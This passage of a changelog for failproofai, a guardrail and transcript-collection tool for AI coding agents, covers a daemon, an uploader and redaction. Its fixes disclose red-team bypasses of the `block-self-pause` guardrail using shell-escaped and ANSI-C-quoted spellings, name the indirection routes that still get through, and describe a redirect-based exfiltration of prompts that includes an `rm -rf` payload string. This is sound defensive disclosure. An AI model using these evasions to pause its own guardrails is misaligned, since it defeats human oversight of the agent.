the byte-offset discriminator exists to provide. (#640) +- Complete the collector's source coverage: all nine sources — claude, codex, copilot, openclaw and pi as file tailers, goose, opencode and hermes as SQLite pollers, plus the CLI-agnostic hook stream — now run under the daemon, with per-source health reporting so a source whose root vanished is distinguishable from one that is merely idle. Verified against real on-disk data: 10,329 events from 32 sessions across 14 agent ids, every one of 3,682 tool results carrying a tool name, 172 events redacted, and no raw key shapes escaping. Each source was built against its actual format rather than its documentation, which mattered: codex's `exec_command_end` does not exist and `custom_tool_call` outnumbers `function_call` 1130 to 133, so handling only the documented shape would have missed 89% of tool use; copilot announces every tool call twice, so emitting both doubles them; openclaw's `details` block is optional, so requiring it silently drops every non-shell tool result, and its trajectory sibling measured 59× the transcript it accompanies; goose's `messages` table has no model column and its `structuredContent.stdout` duplicates `content`, so reading both doubles every output; hermes puts MULTIPLE tool calls in one row, so reading the first drops half the traffic on any parallel turn, and its tool-calling rows carry an empty string rather than NULL; and opencode's text parts grow token-by-token, so a watermark alone yields one response per poll, each a longer prefix. Two sources needed explicit ordering work so that a re-read stays byte-identical and the server's dedup can collapse it — goose stamps whole seconds with a whole turn sharing one, and codex writes its token count in the same millisecond as the output it bills. Hermes profiles each get their own cursor directory, since the poller keys its cursor on a fixed synthetic id and two profiles sharing one would clobber each other's watermark. (#640) +- Implement the client-side redaction the config already promised, and add the wizard step that turns collection on. `config.rs` declared `redact: "minimal"` as its default but nothing read the field, so transcripts shipped verbatim; redaction now runs inside `SpoolWriter::push` before serialization, which is the single choke point every event passes through — a source cannot forget it, a new source inherits it, and there is no window where the raw value exists on disk. It is deterministic by construction, because the server dedups on a content hash and anything sampled or model-driven would defeat that. Tuned against 16,547 lines of real transcripts rather than guesses: the first version produced 682 hits, of which a bare `key=` was matching React's `key` prop on every JSX list, so weak names (`key`, `token`) now require a compound identifier while strong ones (`secret`, `password`, `credential`) still match bare, and expression references like `Bearer ${API_KEY}` are skipped since redacting them adds no safety and makes captured source unreadable; adding the Supabase prefixes also caught 11 real secrets that were being missed entirely. Net 682 → 524 hits with the false-positive class gone, and both findings have regression tests. Separately, `failproofai config` now has a step to connect to AgentEye — placed after the enforcement questions, since by then the user has decided what to protect, and gated on the daemon because the daemon is what runs the collector. Whether to connect and whether to send transcripts are separate questions, because a transcript carries prompts, file contents and pasted credentials. The key is validated with an empty-body POST before anything is written, so a typo fails at setup rather than as a silent pile of 401s in `failed/`, and it is stored in `~/.failproofai/ingest.json` at 0600 with the home tightened to 0700 rather than in the 0664 `policies-config.json`. (#640) +- Add the generic file-tailing engine and the Claude Code session source, verified against real transcripts: 5,982 events from 12 sessions across 5 agents with zero warnings. The engine's invariant is that every event is a pure function of one line plus its byte offset, with nothing folded across a poll window — so a live tail that splits a turn across two polls produces byte-identical events to a single full re-read, which is what lets the server's content-hash dedup collapse a re-read rather than storing it twice. It carries a `RereadPolicy` because two CLIs turned out not to be append-only and neither announces it: droid rewrites its first line in place when it names a session, shifting every later offset while keeping the same inode and restoring the mtime on a manual rename, and cursor rewrites the whole file on the first write of every turn. On the Claude side the agent id comes from the transcript's `cwd` field rather than its directory name, because Claude encodes cwd by replacing every `/` with `-` and folder names contain `-` too — 3 of 16 project directories on a real machine decode wrongly, and the live run proved it by deriving `claude-openclaw-local` where splitting the folder name on its last `-` would have produced `local` under a parent `openclaw`. Tool names are carried from each call to its result, since a result line names no tool and the server builds that row's summary from the name alone; measured at 2,358 of 2,358 result rows. Token usage is attributed once per message id, because one API response spans several lines that each repeat the same usage object. Metadata records are skipped by having no timestamp rather than by a type allowlist, so new record types cost nothing, and a `/compact` that shrinks a transcript is re-read rather than seeked past. Discovery excludes three siblings that each break something different: the in-place-rewritten `.tool-calls.json`, the differently-shaped `journal.jsonl`, and `subagents/**`, which belongs to a format that does not exist yet and would otherwise ship every subagent line twice under two session ids. Session capture is gated on the `sessions` opt-in and defaults to a 7-day window rather than the whole history. Subagent transcripts, thinking blocks, compact boundaries and synthetic error turns are deliberately left for follow-on work rather than half-implemented. (#640) +- Add the hook-activity source, shipping failproofai's own hook decisions to AgentEye. The activity store is CLI-agnostic — each row names its own integration — so one tailer covers every supported agent CLI, and coverage becomes a function of where hooks are installed rather than of per-CLI code. It maps onto schema AgentEye already has: `hook_triggered`/`hook_completed` are first-class types with `hook_name` and `hook_id` promoted to columns and a latency endpoint that pairs the legs, so no server or dashboard work is needed, and because one activity row carries a duration it yields both legs with exact latency instead of an inferred end. Session ids line up with the transcript sources for free, which is what makes the stream useful rather than one nobody correlates — 25 of 43 hook sessions on a real machine share an exact id with a Claude transcript, and the derived `-` agent id reproduces exactly what the session sources file the same runs under. `hook_id` carries each row's byte offset, since a per-session id would have collapsed all 8,613 `PreToolUse` rows of one session into a single row server-side. Because 99.1% of rows are plain `allow`, the default verbosity keeps every deny and instruct exact and rolls allows up per (session, event, tool, minute) with a count, so the denominator survives — measured against a real 20,392-row corpus it produced 7,465 aggregates representing exactly 20,175 allow invocations plus 168 non-allow completions, matching ground truth to the row. Cursors are keyed by device and inode, in a store built for reuse by the tailing engine: the activity store rotates by renaming `current.jsonl` to a page, and a path-keyed cursor would both re-ship the rotated page and skip the new file's first rows. Also fixes a real gap found while verifying — the daemon installed no tracing subscriber, so every `tracing::` call in the collector was silently discarded, including the uploader's "the server stored NONE of its events". One documented limit: aggregated allow buckets are idempotent only when a re-read covers the same rows, so losing the cursor file mid-corpus overstates a minute's allow total; deny and instruct are unaffected, and verbosity `all` avoids it entirely. (#640) +- Add the collector's watcher and sweeper, completing the native delivery path: a batch published into `~/.failproofai/spool/` or `~/.agenteye/events/` now reaches the ingest endpoint, so the Python SDK and any custom agent are collected by failproofaid with nothing to reconfigure. The two paths have different jobs — the watcher is for latency, the sweeper is what actually guarantees delivery, since filesystem events are lost whenever the daemon was not running, the watch failed to register, the queue overflowed, or the filesystem reports nothing at all. Deleting the watcher would lose nothing, only add a sweep interval of delay, which is why a failed registration is logged and shrugged off rather than being fatal and an unwatchable directory does not stop the task. The watcher subscribes to renames as well as creates: the spool publishes a batch by renaming it into place, which Linux reports as `IN_MOVED_TO`, so a create-only watcher registers successfully, logs nothing and delivers nothing there — and because the sweeper covers a minute later the bug reads as latency rather than breakage. Both tasks share one upload semaphore and one in-flight set, since separate sets would let a batch the watcher is mid-upload on be claimed by a concurrent sweep and POSTed twice, and the claim is an RAII guard so a panic cannot leak it and make a batch permanently invisible to both paths. Concurrency is capped at 8 rather than the standalone collector's 64, because this runs in the process answering the enforcement socket and 64 simultaneous TLS handshakes is a lot of CPU to put behind a hook call that must return in milliseconds. Sweep order differs by directory on purpose: the spool is newest-first so a backlog surfaces what someone is looking at now, while `failed/` is oldest-first because a parked batch is the last copy of undelivered data and the one waiting longest is most at risk. Parked batches retry on a far slower cadence so they cannot starve fresh events of permits, skipping anything poison or carrying a definitive client status. (#640) +- Add the collector's uploader, so a spooled batch can be delivered, retried, or parked without ever being lost. Four properties each exist because their absence loses data rather than slowing delivery. The timeout is per-read rather than per-request: a whole-request timeout also bounds streaming the body, and the body is re-sent in full on every retry, so a large batch on an ordinary uplink can never finish and burns its whole retry budget failing identically — a generous total cap stays only as a backstop for a genuinely stuck request. A 2xx is not automatically a success: ingest answers `{"accepted":N,"skipped":M}` and silently skips lines it will not store, so a batch the server discarded entirely would otherwise be indistinguishable from a perfect upload, which is exactly the shape a systematically malformed transform takes; `accepted == 0 && skipped > 0` is logged at error and counted. `failed/` is a retry queue rather than a graveyard: the filename carries the retry state (`.a[.c].jsonl[.poison]`) so a rename is the only atomicity needed, a definitive 4xx records its status and stops being auto-retried since it will fail identically until the key or URL is fixed (except 408 and 429, the two that mean "try again"), poison files deliberately do not end in `.jsonl` so every scan skips them for free, nothing is ever deleted, and a name collision gets a numeric suffix rather than overwriting the last copy of undelivered data. And oversized batches are split in memory, never to disk, because chunks written beside the original would be files the watcher had never seen and would be posted concurrently — the same payload delivered twice. Backoff jitter comes from the clock rather than a PRNG, so the crate needs no `rand` dependency; TLS is `rustls` so the four cross-compiled targets gain no OpenSSL. Validated against a running AgentEye server as well as mocks, covering the accepted, fully-skipped and rejected-key paths. (#640) +- Add the collector's ingest configuration and spool writer, so the daemon can resolve where to send events and durably write a batch. The credential deliberately does **not** live in `policies-config.json`: that file is written with a bare `writeFileSync` so it inherits the umask and lands at 0664, inside a `~/.failproofai/` that is itself 0775 — an API key there is readable by every local user on the machine. It lives alone in `~/.failproofai/ingest.json`, created at 0600 with the mode applied at open time rather than chmod-ed afterwards (so it is never briefly world-readable), and writing it tightens the home to 0700, since a 0600 file under a world-traversable directory is still reachable. Everything non-secret — which streams are on, hook verbosity, redaction, environment label — stays in `policies-config.json` under a `collector` block where it is readable and diffable. Session collection and hook collection are independent opt-ins: a configured key does not start shipping transcripts, which carry prompts, file contents and whatever was pasted into a terminal, so `sessions` defaults off while `hooks` defaults on. Both `~/.failproofai/spool/` and `~/.agenteye/events/` are watched, so the Python SDK and custom agents keep being collected with nothing to reconfigure. A configuration error disables collection loudly but never stops the daemon — it fails closed, so refusing to boot over a malformed `ingest.json` would deny every tool call on the machine — while malformed JSON is still an error rather than being read as "absent", and an `environment` containing a comma is rejected outright because ingest silently skips such lines server-side. The spool writer's three invariants each have a test: writes are atomic (tmp → fsync → rename, and `.tmp` is not `.jsonl` so a partial batch is never visible), no written line can exceed the batch cap (a line larger than one request could never be delivered and would retry at the same size forever), and truncation is deterministic because the server dedups on a content hash. (#640) +- Add the fault-isolated host that log and hook collection will run in, as a new `fpai-collect` crate wired into the daemon but inert on every machine. It is separate from `failproofaid` on purpose: that crate gates every tool call — the CLI fails closed, so an unreachable daemon denies rather than falling back — and it stays small while collection, which is far larger and far less dangerous, stays buildable and testable without a socket server. For the same reason the enforcement path is untouched rather than converted to async: making the whole daemon async would mean rewriting `server.rs` (whose non-blocking/BSD-`accept` handling is why macOS works), `worker.rs`'s child supervision, and `fpai-ipc`'s sync `Read`/`Write` generics, then re-earning trust in the exact code that gates tool calls — too much to pay to host a background uploader. The collector instead owns its own thread and Tokio runtime and observes the same shutdown flag the server and cloud-policy monitor already share, so one SIGTERM stops all three. Three guarantees, each with a test that fails without it: an unconfigured machine starts no thread and no runtime at all; a panicking task is contained, counted and restarted with backoff without disturbing its siblings or the daemon (panics counted separately from errors, since a panic is a bug in a transform while an error is usually a vanished directory or a refused connection); and shutdown is bounded — backoff sleeps are interruptible so exit never serves out a 60-second wait, and a wedged task is abandoned at its flush budget rather than blocking process exit. Task bodies receive the shutdown handle rather than it only being checked between attempts, because every real source is a poll loop that must exit after persisting its cursor, not be killed mid-iteration. Nothing ships data yet: the task list is empty, so the daemon behaves byte-for-byte as before. (#640) + +### Fixes +- Start the collector when its config becomes enabled, not only at daemon startup. `failproofai config` installs the daemon service and THEN runs the connect step, so on a fresh setup the daemon comes up before `ingest.json` and the collector block exist — and because the collector resolved its config once at startup, a freshly-configured machine shipped nothing until the next manual restart (a user hit exactly this: daemon running, connected, dashboard empty). A manager thread now re-checks the config on a short interval and starts the collector as soon as it is enabled — the collector's analogue of the cloud-policy lane, which already re-resolves enrolment per tick precisely so `--connect` needs no root. Enabling collection thus takes effect within one interval, no restart and no sudo. It starts once and does not tear down on a later `--disconnect` (that stays a restart, matching prior behaviour and avoiding a second start against the set-once health registry) — the gap closed is the common one, enabled-after-startup never taking effect. Verified live: a daemon started with no config picked up a connect written while it was running and began shipping within ~1s, no restart. (#640) +- Harden the collector's uploader after an adversarial red-team turned the setup-time ingest check (above) into a live **cross-origin exfiltration and silent data-loss** finding — the setup guard was necessary but the real hole was in the delivery path, where the data actually moves. `reqwest` follows redirects by default and the uploader treated any 2xx as delivery (`resp.json().unwrap_or_default()` turned an HTML login page into a zero ack), so a machine whose `ingest.json` pointed at a redirecting host **deleted every batch as delivered** while the server stored nothing — reproduced live against the real daemon, spool emptied, no error, no parked file. Worse, a 307 to a DIFFERENT host made the daemon re-POST full event payloads — prompts and command text — to that host; verified live, an attacker server received `{"secret_prompt":"rm -rf /home/user",…}` (reqwest strips the bearer token cross-host, but not the body). The client now refuses to follow redirects (`redirect::Policy::none()`), so a 3xx surfaces as a status the retry logic parks as a non-retryable client error, and a 2xx is delivery only when its body is a real ingest ack (`accepted` is now a REQUIRED field — a login page, a proxy or a static host answering 200 no longer parses, and the batch is parked in `failed/` where the loss is visible rather than deleted behind an HTML page). Verified end to end: the exfil server receives nothing and the batch parks as `…​.a1.c307.jsonl`. Also completes the `block-self-pause` fix the same red-team broke: it reconstructed the binary name from shell fragments the regex could not see (`fail\proofai`, `fail"proof"ai`, `f\a\i\l\p\r\o\o\f\a\i`, all executing the real pause), so the matcher now also tests the command's shell-unescaped form — closing those escapes. A second red-team round then defeated that with ANSI-C quoting (`$'fail\x70roofai'`, octal `\160`, unicode), so the normalizer now decodes `$'...'` too — closing every LEXICAL reconstruction bash can do (backslash, single/double quote, ANSI-C) at a principled boundary. Past it, only execution-based indirection (a variable, `$(…)`, `eval`, a base64 pipe) reaches the pause, which no PreToolUse hook over a command string can follow; the doc comment and a test say so, and the only real closure is action-gating the pause, deferred with the daemon redesign. (#640) +- Close three high-severity holes found by an adversarial sweep of this branch. **`block-self-pause` was trivially escapable**, and an agent that escapes it suspends every other local guardrail for 30 minutes: `\bfailproofai\b` could not absorb the character after the name, so `npx failproofai@latest`, `npx -y failproofai@0.0.16`, `bunx failproofai@latest` and `node /path/to/failproofai.mjs` all walked through, and `\s--pause` matched exactly one space, so two spaces did too. Both are now handled (`failproofai[^\s]*` and `\s+--pause`), with `--resume`/`--status` still allowed in the same spellings — a policy that starts denying those is one people switch off. **A tampered local generation could permanently brick a machine**: the rollback guard compared against `active.json`, a 0600 file owned by the very user the threat model treats as compromised, so one large number there made every real deployment fail validation for good — and with the artifacts it points at also corrupted, the machine could neither repair locally nor accept the server, and failed closed on every tool call. The guard now anchors on the highest generation the SERVER has offered this process, keeping replay protection where it is real (an out-of-order response inside one session) and giving up only cross-restart rollback protection, which TLS, a bearer token and SHA-256 artifact pinning already carry. **The ingest key check accepted any 2xx from any server**: `fetch` follows redirects by default and the dashboard answers `POST /events` with a 307 to a login page that returns 200, so pointing `--connect` at `:3000` instead of `:8080` — the likeliest mistake available, since both are printed during setup — wrote a credential, reported success, and then POSTed every batch into a login form forever. It now refuses redirects outright and requires the response to actually be an ingest response (`{"accepted":N}`), so a proxy, static host or catch-all router cannot pass either. (#640) +- Stop the wizard tests writing into this repository's own committed dogfood config. Three tests in `configure-wizard.test.ts` apply at **project** scope, and project scope resolves its config path from `process.cwd()` — which during a test run is this repo — so every run appended `"customPoliciesEnabled": false` to the tracked `.failproofai/policies-config.json`, and the next `git add -A` committed custom policies switched off for everyone who pulled. The file already isolated `HOME`, which could never catch this: project scope does not consult `HOME` at all, so the isolation and the bug were on different axes. The fix redirects the resolved path for the cwd-derived scopes into a temp dir rather than stubbing the write, so the real `setCustomPoliciesEnabled` stays under test; user scope keeps the genuine HOME-derived path, which the daemon tests read `daemonConfigured` back from. Pinned by a regression test that reads the repo's own config before and after an applied project-scope run and asserts it is byte-identical — verified to fail against the pre-fix code. (#632) +- Let `failproofai config` continue with no policy bundles ticked. The "What should we guard against?" step required at least one selection, so anyone who wanted only their own custom policies — or who intended to choose bundles later — was stuck on it with no way forward and nothing on screen but "Select at least 1". The empty set was already supported everywhere downstream (`installHooksImpl`'s explicit-array path documents itself as "may be empty", `replace: true` makes it the full enabled set, `summarize([])` renders "none"), so only the wizard's own guard was in the way. Hooks still install, so enforcement can be switched on later without re-running setup, and the review screen now reads "none enabled (add later: failproofai policies --install)" rather than "0 enabled" so a deliberate choice doesn't look like a dropped one. The assistants step keeps its minimum on purpose: an empty CLI list there does *not* mean "no assistants", because `installHooksImpl` falls back to `["claude"]`, so waving it through would silently install for a CLI nobody picked. (#632) + +### Dependencies +- Bump the `undici` override from 7.28.0 to 7.29.0, clearing the five remaining advisories that kept the Supply Chain gate red on every open PR: GHSA-4cwx-7wf7-3272 (high, CVSS 7.4 — cross-user information disclosure and a parse-time crash via degenerate private cache directives), GHSA-jr45-8vmc-qm54 (5.9, the same disclosure via whitespace around `=` in `Cache-Control`), GHSA-8xcm-r25x-g524 (4.8, downstream response desynchronization via the retry interceptor), GHSA-v3r7-h72x-cjcm (4.8, cookie attribute injection via an unsanitized domain and unparsed `setCookie` fields) and GHSA-m8rv-5g2x-5cg5 (4.2, CRLF injection via a blob-like body `type`). Same shape as the `brace-expansion` fix below and the `next`/`sharp` incident before it — the advisories published after the last green scan, so every branch went red at once with no dependency change of its own. `undici` is not a direct dependency; it arrives transitively under the `jsdom` test environment, and the 7.28.0 pin was itself the previous round of this fix (#446), so the repair is the same one-line `overrides` bump rather than a lockfile update. Verified with CI's own scanner image (`ghcr.io/google/osv-scanner-action:v2.3.8`) against the updated lockfile: `No issues found`, exit 0, with `osv-scanner.toml` still holding zero ignored vulnerabilities. (#650) +- Consolidate the nine Dependabot bumps #641–#649, each of which was red on the shared `undici` finding above rather than on anything it changed. Six are npm: `posthog-node` 5.46.1 → 5.47.7 (with `@posthog/core` and `@posthog/types`), `jsdom` 30.0.0 → 30.0.1, `@tanstack/react-virtual` 3.14.8 → 3.14.9 (with `virtual-core`), `lucide-react` 1.27.0 → 1.28.0, `@types/node` 26.1.1 → 26.1.2 and `@vitejs/plugin-react` 6.0.3 → 6.0.5; the declared floors move with them so the tree cannot resolve back, and those packages plus their transitive companions are the only entries the lockfile moves. Three are Actions: `docker/login-action` 4.5.1 → 4.6.0 (SHA-pinned, as that workflow pins all of its actions), and the `actions/upload-artifact` 4 → 7 / `actions/download-artifact` 4 → 8 pair, which have to land together because `build-daemon.yml` uploads the `failproofaid-*` binaries that `publish.yml` downloads. Both are major bumps carrying a `node24` runtime, so the inputs in use were checked against each target's `action.yml` rather than assumed: `name`/`path`/`if-no-files-found` on the upload side and `pattern`/`path`/`merge-multiple` on the download side all survive, the new `archive` input defaults to `true` so the round trip still zips and unzips as before, and `translate-docs.yml` was already on v7/v8 — so this leaves the repo consistent instead of straddling two majors. (#650) +- Bump the `brace-expansion` override from 5.0.8 to 5.0.9, clearing GHSA-rgw5-rvv9-x895 (high, CVSS 7.5) — a DoS via unbounded intermediate arrays that bypasses the CVE-2026-14257 mitigation. Because `overrides` pins the package for the whole tree, the one-line bump covers every consumer at once (`minimatch@10` under eslint/next, and the `^1.1.7` requests from the older `eslint-plugin-*` minimatches), and it is the only entry the resolved lockfile moves. Fixing rather than allow-listing, per `osv-scanner.toml`'s stated preference — the Supply Chain gate blocks on any finding, and this one had been failing since the advisory published. (#632) + +## 1.0.0-beta.2 — 2026-07-31 + +### Fixes +- Close three review findings in the system-service install, all of them introduced with it. The staging file for the privileged write used a guessable name (`failproofaid--.tmp`) in the shared temp dir, and `writeFileSync` follows a symlink already sitting at that path — so on a multi-user machine another local user could pre-create it and have `install` copy content they control into `/etc/systemd/system` as root; staging now happens inside a `mkdtempSync` 0700 directory whose name cannot be predicted. `FAILPROOFAI_WORKER_CMD` joined two paths without quoting, and the daemon runs that value through `sh -c` (`WorkerCommand::Shell`), so any path containing a space split into fragments and the worker never started — ordinary on macOS (`/Users/First Last/…`) and newly likely because the absolute `process.execPath` replaced a bare `node`; both halves are shell-quoted now, which systemd's own `Environment="…"` quoting does not do (that protects the unit parse, not the later shell split). And the launchd label was a fixed string while the systemd unit was already per-user, so a second Mac user's install overwrote the first's daemon — `UserName`, the ExecStart path under their own `~/.failproofai/bin`, their log paths — and their uninstall removed it; the label and plist path are namespaced per user, with the shared 1.0.0-beta.1 LaunchDaemon stopped and removed on install like the legacy LaunchAgent, since it holds the same singleton flock. (#632) +- Ask for the daemon first, and prompt for sudo in-process instead of telling people to run the CLI under sudo. `sudo failproofai config` was the advice 1.0.0-beta.1 printed when it could not elevate, and it is actively wrong: under sudo `homedir()` is `/root`, so the hooks land in root's settings, `daemonConfigured` is set for root, the binary downloads to `/root/.failproofai/bin`, and the generated unit carries `User=root` — the whole point of a user-scope daemon, undone silently, on the one path a user follows when something already went wrong. The wizard now refuses to run under `sudo` at all when `SUDO_USER` says a real user is behind it, naming the account to re-run as (a genuinely root-only environment, with no `SUDO_USER`, still works). Service installation moves to **step 0**, before any other question: it is the only step that needs a password, and asking there means `sudo -v` prompts on a clean terminal rather than firing from underneath a drawn TUI screen where the prompt is invisible and the typed characters land in a redrawn frame. That one prompt caches the credential for the run, so the install itself stays non-interactive. The daemon is also no longer inferred from the scope — it is machine-level, one service for every project, so step 0 is where the user consents to it, and a project-scope setup can have one too. Declining, or failing to authenticate, never costs the rest of the setup: the wizard says so and applies everything else, exactly as a machine with no daemon behaved before. (#632) + +## 1.0.0-beta.1 — 2026-07-31 + +### Fixes +- Build the Linux daemon binaries against musl instead of glibc. A glibc build links against whatever libc the runner has, and `ubuntu-latest` is now 24.04 (glibc 2.39), so the 1.0.0-beta.0 binaries refused to start on Ubuntu 22.04, Debian 12, RHEL 9 and Amazon Linux 2023 — `version 'GLIBC_2.39' not found`, measured against real containers rather than predicted. It failed safely (the service never reached a running state, `daemonConfigured` stayed false, the machine kept enforcing in-process) but the daemon was simply unavailable to a large share of Linux users. Pinning an older runner would only move the floor — 22.04 is glibc 2.35, still above RHEL 9's 2.34 — so both Linux legs now target `*-unknown-linux-musl` and link statically, which has no floor at all; the daemon is a socket supervisor with no NSS or `dlopen` use, which is what makes static linking safe here. The build asserts the property on the artifact itself, because a "static" build that silently came out dynamic would still run on the runner that made it and fail only on the users' older distros. (#632) +- Install failproofaid as a **system** service instead of a per-user one, so it survives logout and starts at boot. A systemd `--user` unit only runs while its user manager does: without `loginctl enable-linger` that manager does not start at boot and stops with the last session, so the daemon died on logout and did not come back until the next login — and on a daemon-configured machine an unreachable daemon fails closed, so anything running without a login session (a detached tmux job, cron, a CI runner) hit denials. The unit is now `/etc/systemd/system/failproofaid@.service` with `User=` and `WantedBy=multi-user.target`, enabled with `systemctl enable --now`; macOS moves from a LaunchAgent to a `/Library/LaunchDaemons` plist with `UserName`. It is root-*installed* but never root-*run* — everything it touches still lives in one user's home and is peer-checked against that user's uid — and the unit is named per user so a second person on the same box cannot silently steal the first's service. Two consequences are handled rather than assumed: install now needs root, so it checks `sudo -n` up front and, when it cannot elevate, writes nothing and returns the exact commands to run (classified as `needs_root` in telemetry) rather than half-installing; and a system unit inherits no login environment, so `FAILPROOFAI_WORKER_CMD` now names an absolute runtime via `process.execPath` instead of a bare `node`, which would resolve for the wizard and then fail inside the service on every nvm-based install. Any pre-existing user-scope daemon is stopped and removed first — it holds the same singleton flock, so leaving one behind would make the new service lose the race and leave the machine fail-closed against a daemon that never came up. `failproofai policies` and the wizard's review screen report the new path, and `systemctl status failproofaid@` works without sudo. (#632) + +## 1.0.0-beta.0 — 2026-07-31 + +### Features +- Split `failproofai` into a CLI + `failproofaid`, a persistent Rust background daemon that keeps policy evaluation warm instead of paying a full cold-start cost (bundle parse, custom-policy temp-file dance, config reads) on every hook call — a major version bump, since it changes how enforcement runs on every machine that opts in. failproofaid is a thin Rust supervisor with zero policy logic: it owns a Unix socket (`SO_PEERCRED`/`getpeereid` peer verification, a flock-based singleton guard, `crates/PROTOCOL.md` documents the wire contract) and spawns/supervises a warm Node/Bun worker that runs the existing, unmodified TypeScript policy engine. `failproofai config` installs and starts it as a real systemd `--user` unit (Linux) or launchd `LaunchAgent` (macOS) whenever the global scope is chosen on a supported platform — no separate `failproofai daemon install` command. Once a machine is daemon-configured, an unreachable daemon fails closed (a correctly-shaped deny reusing the real per-CLI response logic, not a generic denial) rather than silently falling back to in-process evaluation; a machine that's never been daemon-configured, or is on Windows (deferred), is completely unaffected — zero socket attempts, byte-for-byte the same behavior as before. None of the 11 supported CLIs' installed hook commands change. The npm package ships no binary — one tarball serves every platform — and `failproofai config` downloads the one built for this machine from the GitHub Release matching the CLI's own version; unsupported platforms simply never download one. (#632) + +- Ship the daemon binary as a GitHub Release asset instead of four npm platform packages. The packages were the plan of record — `@failproofai/failproofaid--`, declared as `optionalDependencies` and pinned to the root version — but nothing ever published them: the workflow that cross-compiles the binaries only uploaded them as Actions artifacts, and `publish.yml` was never touched at all, so every one of those four names 404s on npm to this day and a released CLI would have resolved a daemon that does not exist. Fixing the pipeline (#634) was necessary either way, but the packages themselves are now gone: the release assets have to exist regardless for anyone installing failproofaid on its own, and a second channel is a second thing to keep in step with the first — the scope also has to be created and owned before a single publish can succeed. `src/hooks/daemon-download.ts` fetches `failproofaid--.gz` from the release tagged with this CLI's own version, verifies it against the published `SHA256SUMS` **before** decompressing, and installs it to `~/.failproofai/bin/failproofaid-` by atomic rename with mode 0755. The URL is constructed from `package.json`'s version rather than discovered through the API — no rate limit, no `releases/latest` redirect, and no way to end up running a daemon built from different source than the CLI talking to it — and the versioned filename keeps an upgrade from overwriting a running binary (`ETXTBSY`) or silently repointing a live service unit. A bad checksum, a missing manifest entry and a failed fetch are all refusals, not warnings, because what this writes is an executable a service manager runs at login. Only `failproofai config` downloads; `resolveFailproofaidBinaryPath()` stays a pure disk check, so the hook path can never block on the network. `FAILPROOFAI_NO_DOWNLOAD=1` opts an air-gapped machine out (an already-installed binary keeps working), and `FAILPROOFAI_DAEMON_BASE_URL` points at an internal mirror. (#632) + +### Fixes +- Close eleven review findings on the daemon split, four of them enforcement-breaking. **macOS was broken outright**: the accept loop left accepted sockets in the listener's non-blocking mode, which Linux discards via `accept4` but BSD-derived kernels inherit — `read_message` then returned `WouldBlock` before the client's bytes landed, the daemon read that as a malformed frame and answered with silence, and every hook call on macOS fell through to the fail-closed deny. **Worker restart never worked**: a Unix socket file outlives the process that bound it, so the `socket_path.exists()` readiness check saw the *dead* worker's leftover file the instant a new one spawned and handed `call()` a socket nothing was listening on; readiness is now a real `connect()`, the stale path is cleared before spawn, and `Drop` cleans up after itself. **`daemonConfigured` tracked the service manager rather than a reachable daemon**: it was granted on `systemctl enable --now`/`launchctl load` exiting 0 — which a daemon that dies at startup also does — and never revoked on uninstall, so either end of that lifecycle left the machine denying every hook event across all 11 CLIs with no recovery but hand-editing `~/.failproofai/policies-config.json`; install now waits for the service to reach *and hold* a running state (`Type=simple` reports active the moment it forks, so one reading is not enough) and uninstall clears the marker first and unconditionally. And the client's single 150ms budget covered the whole daemon roundtrip including policy evaluation — which `handler.ts` allows 10s per custom policy and `worker-server.ts` serializes — so a slow-but-correct verdict produced the same block as a dead daemon; the budget is now split into a 150ms *connect* probe (still fast-failing an unreachable daemon) and a 30s *response* budget matching the daemon's own ceiling. Also: `process.exit()` in the `--hook` path discarded unflushed stdout on a pipe, truncating the decision payload the agent CLI reads (measured: 2 MB written, 146 KB delivered) — writes are drained first now; the worker's piped stdout/stderr were never read, so a chatty custom policy would eventually fill the pipe buffer and block the worker mid-write, failing every later hook call closed; the worker server decoded only one frame per `data` event, stranding the second of two coalesced requests until a third write arrived; connections had no read/write deadline and no cap, so a peer that connected and sent nothing held a thread for the daemon's life; every `systemctl`/`launchctl` call was unbounded, turning a wedged user session into a silent wizard hang; and the daemon-install telemetry sent `err.message` verbatim, which for `writeFileSync`/`execFileSync` failures is an errno string containing a `homedir()`-derived absolute path — the OS username now stays local and only a bounded classification is sent. (#632) +- Fix the `darwin-x64` daemon build leg, which used the retired `macos-13` runner label — an unknown label doesn't fail, it simply never gets a runner, so that leg sat pending forever and the matrix could not complete. Also harden the release-artifact build job, whose output is the binary users install: it no longer shares a writable cargo cache between `pull_request` and `release` triggers (a PR branch could seed an entry a later release run restores into a published binary — restore-only on PRs now, save on release/dispatch), it builds with `--locked` so the artifact comes from the committed `Cargo.lock` rather than whatever Cargo resolves in the runner, and the checkouts that then compile third-party crates set `persist-credentials: false` so build scripts can't read `GITHUB_TOKEN` out of `.git/config`. (#632) +- Fix the CI bun cache key, which never matched anything since `hashFiles('bun.lockb')` referenced a filename this repo doesn't track (`bun.lock` is the real lockfile) — the cache silently never invalidated on a lockfile change. (#632) +- Gate the git-branch cache in builtin policies on `.git/HEAD`'s mtime instead of reusing it unconditionally for a process's lifetime — harmless in today's one-shot-per-hook-call model, but would have silently served a stale branch after a checkout once evaluation starts running inside a long-lived warm process. (#632) - Repair every image in the 14 translated READMEs, which had been broken since they were first generated. The root `README.md` sits at the repo root, so it writes repo-root-relative paths (`assets/logos/claude.svg`, `readme-arch-hq.gif`); the translator is prompt-forbidden from rewriting paths, so each copy inherited them verbatim into `docs/i18n/`, two directories down, where they resolved to nothing — GitHub 404'd on `docs/i18n/assets/...` and Mintlify, which also serves these pages at `/i18n/README.`, 403'd from S3. Every CLI logo and the architecture GIF were missing in all 14 languages. `rebaseReadmePaths` now re-points them at generation time: images become absolute `raw.githubusercontent.com` URLs (the only form that renders on both surfaces — a `../../` path fixes GitHub but leaves Mintlify with no `assets/` tree to walk into), while document links (`./LICENSE`, `./CONTRIBUTING.md`) get `../../`, since GitHub is the only place a link to a repo file resolves and a raw URL there would serve plaintext. `srcset` is rewritten alongside `src`, descriptors preserved — each logo cell is a `` whose dark-mode `` would otherwise have stayed broken for dark-theme readers only. Paths inside fenced code blocks stay literal. (#654) - Add a broken-image check to `validate:mdx` so that class cannot ship again. A bad image path is valid MDX and valid YAML, so `mintlify validate` and the existing MDX parse both passed it straight through to a reader's browser — nothing in CI was watching. `findBrokenAssetRefs` now resolves every local image reference on every docs page — `src`, `href`, Markdown `![…](…)`, and each `srcset` candidate — against `docs/` for a site-absolute `/…` and against the page's own directory otherwise, failing with the path it resolved to. It runs in the CI `docs` job, in each per-language auto-translation job before its artifact is uploaded, and twice more in `consolidate`. The root `README.md` is checked too, since a bad path there propagates into 14 files as an absolute URL the check would no longer follow. (#654) - Harden the release workflow against shell injection from ref names and generated outputs, align every Bun cache key with the tracked `bun.lock`, and discard the temporary publish-version edit before switching to `main` for the 